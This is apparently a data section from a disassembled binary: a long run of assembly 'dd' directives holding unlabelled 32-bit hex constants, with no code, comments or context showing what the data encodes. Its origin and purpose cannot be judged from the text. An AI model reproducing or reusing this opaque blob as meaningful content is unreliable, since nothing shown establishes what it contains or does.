dd 252B7EF9h, 916FEBA4h, 0CDC76600h, 12398D31h, 0E48B6DBDh
dd 3B23601Ch, 0B9570286h, 326C5F6Eh, 420336D9h, 0E05A7035h
dd 0FDFAD0B8h, 0E6E9B844h, 0AEC28312h, 0C2E095F6h, 1D0B5429h
dd 0DE05BC79h, 0AF0847F2h, 6C8BDF00h, 0DCE4F5BEh, 0FFC4374Ah
dd 33B8DFE9h, 5EA66C00h, 57DD60E4h, 98ED90F6h, 7A56BF44h
dd 2D298D85h, 5068CAAAh, 0AE4A7066h, 5F0BEDCCh, 0B8752BDh
dd 62E1B9BEh, 9BF67B6Ah, 589D82F0h, 0D6715B19h, 0A26A5152h
dd 0BC1F9330h, 5D92CD04h, 0D3762ABh, 0B0140F20h, 124D008Ah
dd 0D3959886h, 3558DDDEh, 8C6804EFh, 35AB7D20h, 6F590723h
dd 5348F0C6h, 115B3772h, 0E09252FEh, 92C49657h, 3F29193Dh
dd 0AB256F6Eh, 1495D766h, 413845B5h, 21F6D34h, 41D78650h
dd 955F78F3h, 0B12831F7h, 0F277956Bh, 8E7E0020h, 20DEEC21h
dd 1F95392Ch, 0C403D34Ch, 9FBF4DB9h, 0ECD0D3B0h, 0DB76DB34h
dd 0C0DE9EEBh, 54019261h, 0E50C04F5h, 0C2307D3Eh, 38FD1131h
dd 7964D4h, 9AFF3A95h, 0B406547Ch, 0F6877F2Fh, 0EABDC544h
dd 0DA6A4BE1h, 0C017C83Dh, 8596DF3Ah, 54117995h, 148A2948h
dd 12D11CCCh, 0E4B72C61h, 0B99F92Ch, 695C0B7Dh, 9E3F6571h
dd 0D97FC3CDh, 201498CBh, 97F704C2h, 90F19D2Bh, 0F9BD2922h
dd 0D8A8185Ah, 0A061A6B5h, 56FE9D5h, 0EB614CD8h, 653CFCD0h
dd 8AECC6D9h, 0C48AA292h, 8AFE8C0Fh, 407101DEh, 0F9B438B5h
dd 171B73Bh, 0A5D704DAh, 52BD8E9h, 0ADC18B86h, 0ECBB8FAh
dd 86D70FB1h, 9C3E22A1h, 85F36A2Ch, 0F6458C4Fh, 21A96607h
dd 0A570EFB5h, 87B8D15h, 0CE8DDE0h, 1FCAED80h, 7F51AFB0h
dd 2FDAB74Eh, 618D0112h, 0A95BD34Eh, 0B5D5F5h, 42821491h
dd 0D25C5090h, 0B1465240h, 911D0EBCh, 96890BD5h, 57491F5Ch
dd 7F807971h, 7417D3BCh, 0D3FA9FA6h, 0D074F397h, 4C091612h
dd 0FD086667h, 80EE2091h, 49D7810Ch, 0C25F3E0Dh, 181211F4h
dd 5D2FAB58h, 9610DF01h, 0D154BBFh, 5C6090h, 0D9DE77EAh
dd 0CC25E4h, 0F1844AEEh, 0B1E53AFBh, 8A5E0804h, 0BEAC61EAh
dd 0DFE7BF02h, 0C35647A7h, 8E9B9097h, 1BB75580h, 31988CA9h
dd 67226925h, 601AE4BCh, 0AAD0ED0h, 2132AAB3h, 0C9401D8Bh
dd 0BDD557CCh, 0A5D909B3h, 0B381D959h, 0B8F0FDEh, 5886E2Ch
dd 0CE31BB8Fh, 59B976A3h, 0A86FFDD2h, 0D6320971h, 0BA0934DAh
dd 0FF5B9960h, 0BC76D159h, 231497CDh, 0E4DE8A5Eh, 0BD3337C0h
dd 0DBA931DDh, 454A2002h, 0BF1E90F2h, 4C169BCDh, 0C8F9004h
dd 6450852h, 4FE466A5h, 81E5DB90h, 231D4676h, 0C8042733h
dd 0FB5D065Fh, 9059B98Ch, 0B03E0295h, 37AE68F4h, 0AD9361E0h
dd 146423h, 0DA72F0BBh, 904BE92Ch, 1B104D8Eh, 0F2C44612h
dd 377776D3h, 0AAF86571h, 6A6A53DDh, 27C95A02h, 64385721h
dd 0AECA7C12h, 5A691BB0h, 0E457AC15h, 0CA801E9h, 0E2E03A00h
dd 0ED8EF2ABh, 7E09978Bh, 1221BF7Dh, 0DB67AE41h, 912FBF70h
dd 7EF89562h, 4F20B925h, 173405Ah, 1707C52Bh, 6375EC46h
dd 0C4045695h, 5F09287Dh
dd 30088573h, 9D030701h, 6049A881h, 255DDE47h, 0C4C70E6h
dd 0E47CD70Ah, 9912B971h, 323FA3BFh, 5CF55108h, 0E353128Dh
dd 0A2F85B87h, 44572A25h, 0AC92012h, 0B339C19Dh, 0E80BE46Ch
dd 0A3D53E91h, 8911BFCCh, 0EB2A7628h, 3CB09242h, 728055F5h
dd 899D01D1h, 19FF7295h, 0E30D698Dh, 0FBA72EBFh, 0EEEC5100h
dd 7B2BAFAAh, 0CB71D600h, 3C5372D7h, 5B751774h, 1C3DACFCh
dd 44174E49h, 95398CAFh, 0B76B2962h, 7A35C7Ah, 4BE19D0Bh
dd 249575Ch, 7550A612h, 8280706Eh, 9FC81FF5h, 0B662B470h
dd 0ADC94A8Bh, 0E2B04A87h, 5957D90Fh, 0B464A5D3h, 823A4C45h
dd 0B45C1309h, 29300553h, 4A2BED9Dh, 32709593h, 53D6D84Eh
dd 0EFE95540h, 512A0109h, 0E0BA5623h, 7EA56662h, 90DE5C00h
dd 0B46B4319h, 0C8AE8C2h, 58E9E2FEh, 5B4B616Ch, 4172E398h
dd 40D7FE8Fh, 97A4B7F5h, 0FC8A9818h, 11E7B912h, 2BA546D1h
dd 5B33E62Ah, 4B02B76Ah, 5A09BF67h, 40981663h, 5FD5FC41h
dd 7EB82583h, 99F6FCFCh, 98261C17h, 0EC3AC9EFh, 884B01E7h
dd 0EC614120h, 1B7B001Eh, 0CA63D6EDh, 1F503AB5h, 6294BAF8h
dd 0B9AB8E44h, 0CFADD323h, 0D6D36D80h, 0A65A9FB9h, 2EFDC6A9h
dd 0DD8A6F60h, 0A57205C9h, 0EF3AC63Ch, 95C5BE0Ah, 12CBD6B1h
dd 9B880DCCh, 8FB8F0AFh, 3DBA850Bh, 2D0AFF3Bh, 0E71088Ch
dd 0C73B6625h, 19F2D374h, 73B7BBE4h, 9D927846h, 90A16802h
dd 6311EC62h, 0DD0D9F8Dh, 0E62AD9DDh, 0CB842953h, 6BC36525h
dd 83B35EF0h, 0D44B78h, 56699C11h, 24F9B501h, 14BB97C2h
dd 518A5CD6h, 2DC41625h, 48542B71h, 850FE950h, 1881834h
dd 9E13FFFh, 0AC0D7996h, 291DE2AAh, 0A9703CF3h, 137400F2h
dd 32C2BDC1h, 0E7A87709h, 149750FCh, 6FA6E74Fh, 0A0D0B46h
dd 8663F0D1h, 7AEFA5B8h, 7A640091h, 76AD636Fh, 0BB600248h
dd 8A7501Ch, 0ED25255Ch, 1A77CB4Dh, 956482DAh, 21915523h
dd 27C37050h, 5B0883Eh, 2DBD095Fh, 0FC5598AAh, 0A5B651D6h
dd 0A564E3E0h, 99957E09h, 1399C148h, 0F52B722Eh, 91AEB5D5h
dd 507D8514h, 4C7E20BEh, 0DE09A323h, 70DD2A6Dh, 0CB80121Ch
dd 0C67AAB6Bh, 0DDA9AA00h, 0B268EDA6h, 0F04A9377h, 704D7380h
dd 9D0F4A75h, 0A8BF6932h, 734F0085h, 0D2434AD7h, 803E3F22h
dd 108CCBDBh, 49C30281h, 0E967EAF7h, 6EE1B9F8h, 572A4D20h
dd 429A00EDh, 0A208756Bh, 0B200211Ch, 0AB04FED4h, 501D6A4Ch
dd 400DC73Fh, 57955F2Dh, 918D3198h, 81A8195Eh, 76D6BB5h
dd 0DC8AE976h, 79FD6D52h, 22850023h, 0DF317A8h, 594C802h
dd 0D7D88D20h, 95F181Ah, 0BF3E58C8h, 1480B93Dh, 0F4E4E2DBh
dd 171136Ch, 0FF06FEB9h, 25E710F9h, 7105D19Dh, 4771AB61h
dd 8D1CF4B4h, 0DB900155h, 9779B8C5h, 99ABD8BBh, 9EC10200h
dd 0F1986244h, 40A7BCA7h, 1D5EB118h, 0B2A8B01h, 0B75F47F8h
dd 808D4CE2h, 803119C5h, 0C1279D33h, 0D4CE5601h, 317A1646h
dd 39F29176h, 1067BB0Bh, 502D1A01h, 6A00CC71h, 0CD4CE4FAh
dd 0AAE1E865h, 0F185F5Eh, 5A5F8A37h, 0CCEE6595h, 9AA129E0h
dd 6B26A1Eh, 0A197A6D3h, 0BE2027A8h, 4C9EFE65h, 1A489290h
dd 0A8635B7Eh, 9AC7543Dh, 6F80BF09h, 827B5950h, 32059D09h
dd 8AAA5B05h, 9FA6A09Ah, 0C8ED058Dh, 0ECC55174h, 3E0D8001h
dd 585AC2D5h, 191719C9h, 10B3A21Ah, 90002375h, 3AF101BFh
dd 523C505Ch, 9D898F5Bh, 2BC72CDh, 777D7DAEh, 0A9D6DF05h
dd 0C1AB1C96h, 2E3EE2A9h, 0B850522Ch, 0D7120A8h, 5ACA5B4Ah
dd 0B7704838h, 767AC3DBh, 3DE9631Bh, 0B1B91A4Bh, 8A022CBCh
dd 589F7DBFh, 75625C19h, 40AD56C9h, 35B62B3Ch, 16A50C00h
dd 65967F3Dh, 80E94F3Fh, 0F58531FBh, 0DADE074Ah, 0EE444A89h
dd 0D05F0201h, 0D284BD3Bh, 0E62DAD30h, 5D149703h, 6F04AB27h
dd 0F8EA401Eh, 40B7A88Ch, 48A7F377h, 79B322CDh, 236E654Eh
dd 0C1911100h, 0F7D39C13h, 22A29E13h, 18AC5BF9h, 0C1CD048Ch
dd 0B9EB67B7h, 0A4A6D797h, 2861B7A1h, 1FD84AB7h, 0C85B95D9h
dd 5061BD09h, 0C8965E7Ah, 0A7009155h, 8BA071FDh, 0B857CFh
dd 7F480798h, 1451B5CBh, 83D7E200h, 0A54BF50h, 96302E8Ch
dd 0B10EDE35h, 3F3174E8h, 370CBFC5h, 0ACF90983h, 0EED6EDA9h
dd 0A6AA1034h, 10417D94h, 5560EA2Bh, 0AC33EAE7h, 0D6BB0482h
dd 0B82EDC34h, 82B3D2A6h, 59BD2B04h, 0FC6FBF01h, 0B2001623h
dd 0CF801D55h, 4D0A97C6h, 0A905DE0Fh, 191B8763h, 0DEFF3284h
dd 5B48C07Bh, 3B0FB5C1h, 0B74AEF0Bh, 8EE94F3Bh, 840354ACh
dd 0D687F8CBh, 5CEB9225h, 0B1FB2F4Eh, 52BD1D8h, 9EF1B1B5h
dd 0AF618474h, 5591D5FCh, 3500A5ACh, 80ACFCB9h, 0F4A341h
dd 8DD781DDh, 311A40EBh, 14ED9512h, 57A3E29h, 0E323ABCFh
dd 800F1212h, 294D8CAAh, 9DB4B558h, 343B41E7h, 0B28CFF04h
dd 0B380002Eh, 47A3DAAFh, 6016372h, 0EB699B99h, 6E3F9698h
dd 46E7043Ch, 0ECA8A8BCh, 0CB69BB80h, 17009BEFh, 708C0CCh
dd 4415178h, 7E70D902h, 0BDB19CBAh, 5911B125h, 84035C5Fh
dd 63C6E795h, 0EF81B8FAh, 0B7A612CDh, 8EB0E243h, 87B91361h
dd 0F57405E8h, 878DE90Bh, 5D819A96h, 71492E76h, 60A600E6h
dd 0B3FE3D8Fh, 0F1214D00h, 505F676Eh, 0C9B79F96h, 0BDBBD107h
dd 0D5F520F2h, 6E40A115h, 0A3A12Dh, 0FE2CCBBh, 29CF815Ah
dd 21F29601h, 0BDF58060h, 9FC7C9CCh, 0AD251850h, 6D4DD705h
dd 0BD3148E0h, 2F710272h, 0B1F4579Bh, 6C254378h, 5A917302h
dd 7CFECF3Ah, 0F352D86Bh, 71B18903h, 0D5742E20h, 246201B3h
dd 0DA5C14B1h, 0B257CC73h, 3E007A10h, 0DC27E18Eh, 4B2584Eh
dd 5E297CA5h, 0D4BDB805h, 7023C0C7h, 0FE267D8h, 2E760B38h
dd 0AD437EEFh, 0C6823135h, 0CAD07CDBh, 54510075h, 0D47DBAC5h
dd 4F915E53h, 5DBD4A80h, 0E953F81h, 2E5783BFh, 61515F49h
dd 0FFF21324h, 66092FDAh, 716A56BFh, 38AC2F8h, 84005729h
dd 0FFF352E9h, 0CB0AA5BFh, 0AF30D5A1h, 0A6215A05h, 28C700A5h
dd 0C989770h, 44C6053Eh, 0AD26C0CAh, 8D890BD1h, 559DEA71h
dd 58B5530h, 9805288h, 905BD0D7h, 5FE91A75h, 23F9108Bh
dd 7216D083h, 538E809Ch, 34646AB8h, 0F255E909h, 0F66A5ED3h
dd 9075F35Ah, 0C8E1694h, 83F99B09h, 6A894DCAh, 0C023DB3Fh
dd 0B908C243h, 205D9049h, 8C801CF5h, 18762166h, 5C06CC4h
dd 1FB873ADh, 4F29FF12h, 230B48ECh, 372599BDh, 50EFC390h
dd 0B8E2F9A4h, 0D2C8240Bh, 7258840Ah, 6E8CAB6Ah, 0EAF50002h
dd 0DC89777Bh, 0B31E0308h, 5BD7E380h, 7AEB4817h, 0F1A37F4Fh
dd 0F6B98FD0h, 5C968227h, 8A7BEB54h, 2707C650h, 1D7CA5D6h
dd 11852960h, 2B6EB524h, 6C40D69Eh, 571F497h, 0FF557219h
dd 6EDBC2D1h, 32F7615Fh, 25C0CE2Ah, 0F6DADC42h, 5F6E529Fh
dd 2FA0E66h, 8A16E4B5h, 0B718C2DCh, 54D46FFh, 0A9751202h
dd 0B745DC56h, 7DE9DA12h, 708455E3h, 16233E21h, 0A440FA01h
dd 6B2ED88Ah, 0B152351h, 0DAC2CF9Dh, 133C8275h, 272774C9h
dd 0D84E7CECh, 85D1D4FCh, 0D216DB5Eh, 0F557A0ABh, 80F98603h
dd 25FD8A54h, 0D556B786h, 475F9E4h, 0EB0965B2h, 0E65A288Bh
dd 165AA3C6h, 0BFF6AD2h, 9B59AD85h, 0D723090Eh, 0F45937BBh
dd 18E90331h, 0B8BB8401h, 0F5B0C962h, 2BF99E02h, 0F870E600h
dd 0F7113E4h, 80EFE283h, 42C7652Eh, 9A7F9596h, 0B9EE7FA9h
dd 4C84F84Bh, 0D3A8F712h
dd 20681CAh, 16FD9D03h, 652B31DFh, 0DCAAD8E7h, 9AC80263h
dd 0B0ABF85Fh, 0CB812EC0h, 0C5142A09h, 858723Fh, 1D82443Ch
dd 5E51ADh, 9D691579h, 2D0E738Dh, 0C529C3D4h, 329034A5h
dd 2BFC82Bh, 7BA26016h, 3F5D18Bh, 0FC094F1Fh, 7FE99F91h
dd 0FF2F7A63h, 0E9321E0Eh, 0B4C01286h, 417C9AAh, 0D12CC2B9h
dd 1BCE31D5h, 1277F912h, 1DC687h, 892C7495h, 0D914668Bh
dd 364F8200h, 75317092h, 0FE6C9516h, 1E47FDECh, 80002C22h
dd 2EBF8AF3h, 9578EEEAh, 85847A5Bh, 132421F5h, 0C28B7765h
dd 14D534E1h, 0A15920B9h, 0B4420B94h, 0FFB571Ch, 1C05DDC9h
dd 0F07EAF0Bh, 48D5FC07h, 2F8E5BBDh, 7B751BC9h, 4075BE6Ah
dd 0CA25B915h, 2703BD10h, 0C6856454h, 919456E5h, 5D6D5FFh
dd 0BC3EBE11h, 3239120Bh, 166207B6h, 2B001F09h, 12BFBBD2h
dd 0E63CA3C7h, 7F6BD21Fh, 8DE3DE17h, 0CD8C024Dh, 5DDA9057h
dd 60599D01h, 4583ED49h, 0C753AF17h, 0E80BF287h, 0B71AA12Fh
dd 0D0C0D115h, 560A2E4h, 757AAA2Bh, 441EC181h, 2A70C986h
dd 17B2FFA6h, 31227130h, 69B6A11Ch, 0F6CB2A0Bh, 8C34AED2h
dd 0ACDF34FBh, 5EA6A211h, 352EF66Bh, 4E008363h, 1738DEF4h
dd 48909743h, 1B005AE4h, 1A9DA4E2h, 12501CE3h, 56EAAD8Fh
dd 803F9E3Bh, 50D51412h, 10F8032Eh, 23CE4960h, 2980E870h
dd 1B4525BDh, 0ED6BD759h, 6CF74B59h, 0F9030AE2h, 8B3E1FFh
dd 31120785h, 7116AA09h, 49EC392h, 136FEE84h, 0A5CAF30Fh
dd 3A7CE3ABh, 0F50DE127h, 858F282Eh, 9574508Ah, 3F278C94h
dd 0D04D5304h, 2792DA19h, 91200541h, 4BB99AADh, 806ADB60h
dd 57FA8F07h, 84764B3Dh, 0B977FDAFh, 99E62DCh, 8CA4B327h
dd 6DBFAA70h, 0D997C0DDh, 67094033h, 72AD6BDAh, 11320BFh
dd 237D8180h, 61D80381h, 0A3399709h, 0F5A73052h, 5F4B659Ah
dd 0E347FAEh, 0A9D749EBh, 4DC453h, 89BB8DD5h, 7F7CF378h
dd 0A2C9F00h, 0F8DFFC92h, 0D989952Bh, 0F2ADD95Dh, 0ABC2B556h
dd 33427DFCh, 0EF4A3DEh, 0AF32A042h, 1DD96ABh, 0C13468FCh
dd 4A8A4160h, 0CBD1B0DDh, 0CB2DC23Ch, 0D0E0E0B6h, 0EB4BC1B9h
dd 572F6AAEh, 0E20C02B7h, 87C4705Fh, 55F9E1F5h, 0E9FC10B8h
dd 0C9021927h, 0AE21DEB2h, 0F968CC7Fh, 55D61297h, 47817237h
dd 0E8FA6679h, 0F35289A7h, 3D9518E0h, 5ACC80FFh, 59251B33h
dd 9E4ABF04h, 0B4B845D1h, 0A5C8B0D2h, 6BDE0541h, 57C88574h
dd 613040B1h, 6FA92AE3h, 0A886BD92h, 0ED895BF4h, 5D1BC3Ah
dd 859531BEh, 0F460EE0Eh, 492EE3h, 982B1E5Ch, 24BB1240h
dd 3D3EA507h, 30997F97h, 25BD89D8h, 0E8C41BFDh, 9FE67A9Fh
dd 52F66710h, 77442900h, 56BCD408h, 83CB09ADh, 879B5h
dd 0DA642514h, 8F814D00h, 0F77CAB54h, 83D197A1h, 0C07BCD2Dh
dd 36E4548Ah, 5C05C92Dh, 0AF341C9Eh, 95C3ED74h, 0F0D54E25h
dd 0FB974CEDh, 3F6DD983h, 5D40CF0h, 684618Fh, 19428164h
dd 0AE33A12h, 0CF448896h, 0E1D9D500h, 0DB3E9B78h, 39E8021Ch
dd 50AF9AB8h, 9F4DE6D5h, 7B02D073h, 8764796Fh, 5010604Dh
dd 1CEFBA58h, 0B9716155h, 8D3872DDh, 0C1BCA95Eh, 355BBB66h
dd 0E89038AFh, 8202D6AAh, 0EFC83EB6h, 0B8AF60BEh, 0FCF6070Bh
dd 0D9E39C43h, 6A82AE89h, 680C228Dh, 0AC8B5A90h, 351A6588h
dd 630B29AFh, 0CCA0078h, 0FB044ED0h, 8489004Fh, 0C64472EEh
dd 1313CB81h, 0CA163253h, 4100436Fh, 0C660E70Fh, 1627F486h
dd 7AD8562Eh, 1408B557h, 4901A5D8h, 3B8546AEh, 0BD3A3010h
dd 72225495h, 29BC9964h, 467B3B40h, 77EC1D88h, 0FDD58140h
dd 2321E9A7h, 16852E4Dh, 0C235D5A5h, 447617D9h, 0ACA70A00h
dd 15BF667Dh, 92ADFF4Eh, 0B0B1AEA4h, 0C231B10Fh, 0F6CF8027h
dd 0FC9241F9h, 7A2F8EE5h, 71911748h, 0CF8A2AAAh, 0B8F72732h
dd 66851310h, 0E74EB5BEh, 4021CD97h, 77EFD7BEh, 0A43D4D09h
dd 25E9D996h, 0A1D0277Fh, 5E748F10h, 0C1C7026Ah, 92938169h
dd 50A54975h, 0B98CFD2Bh, 0FE1403DCh, 38600059h, 0D3E78139h
dd 414BF288h, 7317FAAh, 6C39F45Fh, 8ADF71E9h, 0C9C7CEB7h
dd 0CBE0A218h, 0B185F400h, 0E23BFFA1h, 5A491E84h, 0DEC2A58Eh
dd 0F469F65Dh, 20422549h, 0E3811F15h, 0D9B4968h, 46D6885Ch
dd 4F100019h, 463C25D4h, 0FA64BD0Bh, 9C972C4h, 4D4AF740h
dd 0C69C2CACh, 7DC78269h, 25097A2Fh, 6B731769h, 6B58CC2Bh
dd 56E525F4h, 0EF801BE0h, 34AAFA4Ah, 0F5F2BA90h, 0A7B88616h
dd 7605B0B6h, 0AA153F70h, 0DD8AEA0Ch, 0F3258048h, 0D05E5458h
dd 15F919Dh, 27BD2CE9h, 80FD00E9h, 0F8FC05A8h, 3AD413DEh
dd 80F4B896h, 0D342DD3h, 6AD0573h, 0B05BC7B3h, 0E2B840Ch
dd 26583A96h, 0B664015Eh, 0D0B2E598h, 0F5272AB4h, 0C6E3A450h
dd 0EAF96257h, 145D3069h, 0E9FD800Dh, 0BF159728h, 41C449C0h
dd 0B8552E3Fh, 0F527890Ch, 4544BD71h, 0AC2C857h, 16D42A00h
dd 729561CEh, 9D729599h, 0D7963625h, 0DC2A4818h, 50651807h
dd 0CDF9F98Ah, 1A38C3AEh, 8C726513h, 0B912FAA7h, 599F3710h
dd 81E03E5Ch, 294125D3h, 2E1E0BFEh, 0A3844088h, 5D95BF49h
dd 769B290h, 2DA00300h, 0BD292AB3h, 0FF45B5D9h, 0DB50105h
dd 258056B0h, 43C59ADFh, 86FC5B17h, 0F35607C9h, 29B5555Ah
dd 5FA33200h, 988EC8Bh, 0C6B68142h, 5CAD49BDh, 0CD25B89Ch
dd 419F2150h, 2D2EF5B0h, 0BDB5041Bh, 0A5E91283h, 6E6F18E1h
dd 0EFDD0064h, 2FC9D0BDh, 5F543D23h, 0F8513AF2h, 0E801A9CAh
dd 7300429h, 0BB563910h, 5B25CBE2h, 7F642C6h, 4EC137C1h
dd 23C4A7EBh, 0F881A04Ch, 2144B590h, 52DE8A25h, 83B7BF3Fh
dd 8B606889h, 2A5D7E5h, 0B1DEAA61h, 0ACCCA9Eh, 5C678060h
dd 0FE906DDCh, 0F5E4A861h, 1E391830h, 81BE3CBCh, 5EA90512h
dd 601374B8h, 0B6E38A0Fh, 6D9AD71Eh, 5D97ACC4h, 0F0307890h
dd 0DB26B109h, 38DEF424h, 61265B40h, 1A603E90h, 48795A4h
dd 8291402Dh, 0BA30AED7h, 0EBBAC65h, 34B9BD4Eh, 0B736DD40h
dd 90125F66h, 0E304FC60h, 0BDBE2349h, 1D97F877h, 46368ECDh
dd 7A19FFCFh, 73F9EFA1h, 0FC8A1239h, 845F55E3h, 0AADF9417h
dd 1B23FA6Bh, 652D2A07h, 7ABB08F0h, 37B70D3Ch, 0CD86D1FFh
dd 46382E22h, 0B509888Bh, 0DF4B1D5Fh, 80693702h, 3164EF0Eh
dd 0C8007901h, 0BB9034C0h, 26D64985h, 117E502Eh, 0CC204F1Ah
dd 6F5F67h, 56C83F7Eh, 0D1AF3001h, 8B6B7805h, 0B48066A8h
dd 165B7420h, 2AFA8A90h, 4E80DEF7h, 454D8FF0h, 93C62517h
dd 9B4002D6h, 2669F911h, 2F128129h, 0FF592AFEh, 4BFA624h
dd 23BEE216h, 0ABE68560h, 18BA3621h, 6157CA40h, 0E55497F9h
dd 87D0B5E9h, 11E86579h, 40AD9215h, 805A128Bh, 4D57DB26h
dd 0AD4425h, 722CE70Bh, 4FAD12EAh, 0D77C8B05h, 0ACF690EDh
dd 4F8498E0h, 0C1E3F84Ah, 21B58913h, 2EDE8B5Ch, 3BDB8A65h
dd 0B8EB4981h, 2F0D304Ch, 13EA5D12h, 0DB0264F2h, 877E075Eh
dd 12022441h, 6B4EF557h, 95F046B5h, 0BDF7C0A9h, 1E0D02E5h
dd 1BF7076Ah, 60FFC1C1h, 0F8CBB84Ch, 75AD00B0h, 40C57A9Ah
dd 104851B9h, 2F8D16F1h, 5A313088h, 0E829BD23h, 4E2C02E3h
dd 98460BE8h, 6CC4F95Ch, 2479FE58h, 0F06FB081h, 320015FEh
dd 70E66F14h, 12805160h, 0FC5E44C4h, 28AE97A1h, 0A7742155h
dd 9409D7ECh, 78615AF8h, 48B2215h, 833141A0h, 2B08A697h
dd 0D1E9BF83h, 0F9BE1405h
dd 61562F94h, 5B021B40h, 0FC4B98DDh, 0C4FA074Ah, 2088FFB8h
dd 3F127CD8h, 28F3C48h, 0C7E6A2Fh, 6B7457A4h, 299D8D61h
dd 63119D6Bh, 80F438E4h, 9D6859FCh, 3F88F876h, 0C08350FEh
dd 87548BE7h, 8674C19Ah, 0EC370A98h, 0E57F00E2h, 646B534Fh
dd 0FD9539EDh, 0B8556A92h, 8015F15Eh, 67B1C82Bh, 0E041268Fh
dd 3846ABB6h, 5D58092Fh, 3758AF4Eh, 3A5FDC89h, 1A22ECB2h
dd 4E608744h, 7495AE09h, 0F0C7BF82h, 0E840B521h, 69EC8949h
dd 942CAB6h, 55710928h, 0E5BB6687h, 45517A19h, 12604227h
dd 707C62Ch, 4977BBE3h, 0A794C0FBh, 404C7C46h, 2B510070h
dd 61C38B66h, 0F959B5E9h, 0D5161989h, 575CF9BAh, 0E6522244h
dd 27513F4Fh, 9F32E682h, 439519E1h, 6E25536Ch, 857773FEh
dd 0BA17B223h, 13C2B79Bh, 4057A6F2h, 0ECE78121h, 512E2EAFh
dd 4B12F6BAh, 4FF30329h, 0B9284748h, 0E63AE1B5h, 0DA3CF012h
dd 0D9F10E32h, 0E8D68485h, 4BAED088h, 7286EAAh, 0EE5ED03Ch
dd 95842ED1h, 4811568h, 0F8903DE1h, 0EB006C86h, 0FBC7F4BDh
dd 4AC6320h, 9D03A719h, 5FC0F011h, 4ECFC4Ah, 404FB2D2h
dd 6D03AEABh, 950920FFh, 90BD84C9h, 10813262h, 0A4856D75h
dd 1D8508B2h, 0A45B228h, 4618DF6Ch, 4E520840h, 0EEDE0BBCh
dd 47770019h, 9367AF16h, 569733F8h, 4FC6521Ch, 0C188907h
dd 95E015BEh, 2BDF4C3h, 0F2D964D7h, 0EA7D70C4h, 0EC9734Bh
dd 0ABD34585h, 1C236A6Fh, 63977100h, 280E95D5h, 4838D98h
dd 387CC781h, 0AD70BCF5h, 98EF308Eh, 0E117E692h, 0E0D4FCA0h
dd 0BDC02507h, 66178BE5h, 0E2EC16B9h, 35FA2507h, 0BF57E818h
dd 0D3D72F1h, 495C5D30h, 0A94E3082h, 5979E937h, 8030D685h
dd 0E0EEDF8Ah, 0EC2D5495h, 414B2B76h, 4B254BCAh, 40ACEF5Fh
dd 0D44A1EEDh, 0BFE1760Bh, 1D9F0243h, 56C6E5h, 12B8010Eh
dd 29E37D03h, 45DE4B00h, 8F65667Ah, 20635F68h, 1106AB20h
dd 6DF13E0Eh, 0C9038293h, 51715E28h, 20FB140Ch, 56C3EFE4h
dd 0E09D9A04h, 7BBCD02Fh, 0B9A5BCA3h, 0B1488092h, 1F2D5EEh
dd 4DF79888h, 0CCD876BDh, 0CAC46053h, 48BC19F3h, 2F56E5Ah
dd 63F092B6h, 475657FCh, 0F8205A58h, 362409B6h, 48755309h
dd 8C2B81E2h, 24B7385Ah, 86A49B0h, 6E715125h, 1DED2D14h
dd 0D45A365Ch, 0D907D436h, 0D4D0127Fh, 422830F2h, 396DD51Eh
dd 0F11BB869h, 0BF73996h, 598EE60Ah, 19810BCBh, 0E0809671h
dd 5A9FBD6Ch, 97571004h, 1A224E39h, 88DC55EFh, 0E2EB5047h
dd 0D44C011h, 0B34FA032h, 8168007Ch, 0BFA5828Eh, 0C1252C6Ch
dd 9635879h, 5A9C757Eh, 53C0CE6Dh, 0E85F0Ah, 21866D22h
dd 8935BB74h, 4DB5D070h, 60186485h, 2F43B888h, 95564FF8h
dd 0B0EADE2h, 59859A75h, 0F9A6000Bh, 565F9860h, 140A8F6h
dd 79851231h, 0C137BD23h, 25FD8D29h, 7D412D2Fh, 6EA81Ch
dd 5ADD3561h, 37422E3Ah, 31AAE14Ah, 3ADABFC9h, 0E9D73AB2h
dd 201A870h, 0F08D241h, 8B100383h, 977395F8h, 0F9181759h
dd 47B7A112h, 339A81EAh, 1024E9BDh, 4BD1B660h, 0EAF98461h
dd 15E2EDA6h, 96D8F7B0h, 1C309097h, 0A88D3CF0h, 3ECCD582h
dd 0E8F79D23h, 3CBF5F23h, 30A4B8BCh, 9A108F7h, 97196801h
dd 123A0FB1h, 0E6BEF05Dh, 13AE943Dh, 7EFB858Dh, 0D91A01D0h
dd 75086E98h, 0F1E88242h, 1620D241h, 0F03AFCFFh, 0CCA95B00h
dd 9DB51B2h, 0CC4000Eh, 582E818Ah, 0BE16665Ah, 47E95E07h
dd 0E067E64Bh, 2F7BC83h, 3AD99C61h, 5957A42Bh, 85010254h
dd 0FB5C207Dh, 65870FE2h, 40D59CEBh, 689F9BB7h, 61728B93h
dd 2480D9BDh, 25A538EFh, 0B7C034D5h, 520588B5h, 2CAB5A82h
dd 4E1406Dh, 0C253FCBAh, 20EB5BDh, 0BD774AE9h, 0FF0827Ah
dd 3382078Bh, 0F5240189h, 75F147C2h, 97762A67h, 330BF360h
dd 29BD0109h, 1E9C5530h, 372C6245h, 0BD7C7980h, 0E3019DEFh
dd 7B858609h, 6FE8FCB8h, 5239EEACh, 3EC4CFF3h, 0F8DEEA04h
dd 23956880h, 0A9977D3Ah, 244FD50Fh, 74FEAE44h, 809DBC3Ch
dd 0F8B1CAF7h, 0E43303BDh, 9489BFE7h, 981927F8h, 0F0A7AE1Ch
dd 4BF38FD2h, 84ADF95Eh, 0B3527185h, 9D291373h, 0AD3952FAh
dd 2C25C4C9h, 4009E844h, 8684E1ADh, 1E7709AAh, 5562E36Ch
dd 0DF0C4057h, 60C1BF96h, 0C38B6B30h, 0AA172912h, 6A5F4B8Ah
dd 0C0A84A24h, 46C780C2h, 7DD6B92h, 75A9D612h, 1D452F4Dh
dd 40923522h, 70ED3E3Eh, 0F477137Bh, 4152C491h, 2D8D89B3h
dd 37AB2B01h, 0FA150012h, 0C9006785h, 92FC9744h, 2FBD70EEh
dd 0BFFC897Bh, 4E867E4Ch, 23E7C4h, 813C2E0Ch, 8864E8h
dd 23EB6A2Ah, 9D09B130h, 8A84AD4Ah, 23B46BEAh, 0E19E1214h
dd 0D96E7FE8h, 1F6E7907h, 648540F4h, 0C5047757h, 29A19D33h
dd 4AB959E4h, 903FAA23h, 0C168162Ch, 60680FFCh, 0D4E1DA1h
dd 807C60ABh, 0ABA21CDFh, 9701D05Fh, 907C1E09h, 0B00D73F6h
dd 6E8400D7h, 0BB9030BCh, 0AE76FCCEh, 16B46A70h, 0C60902DCh
dd 0F2D1492Dh, 441615D7h, 39C2FF2Ah, 5A575E16h, 8F60626Dh
